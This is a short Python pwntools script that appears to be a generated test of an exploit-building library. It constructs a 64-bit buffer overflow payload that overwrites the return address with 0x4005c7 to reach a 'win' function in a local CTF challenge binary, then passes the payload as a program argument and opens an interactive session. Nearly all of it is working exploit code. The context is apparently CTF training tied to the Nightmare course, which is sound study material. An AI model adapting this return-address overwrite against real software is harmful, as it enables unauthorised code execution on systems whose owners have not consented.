# +------------------------------------------------+
# | Atack: Bof Win Function Argv                   |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

# +------------------------------------------------+
# | Atack: Bof Win Function                        |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

from pwn import *


import sf

import time


bof_payload = sf.BufferOverflow(arch=64)


bof_payload.set_input_start(0x12)
bof_payload.set_ret(0x4005c7)
payload = bof_payload.generate_payload()

payload = payload.replace(b"\x00", b"")


target = process(["./chall-test_BofFunc-12-x64", payload])



target.interactive()

# +------------------------------------------------+
# | Artist: Slipknot                               |
# +------------------------------------------------+
# | Song: Solway Firth                             |
# +------------------------------------------------+
# | What have you done,                            |
# | what have you done                             |
# +------------------------------------------------+

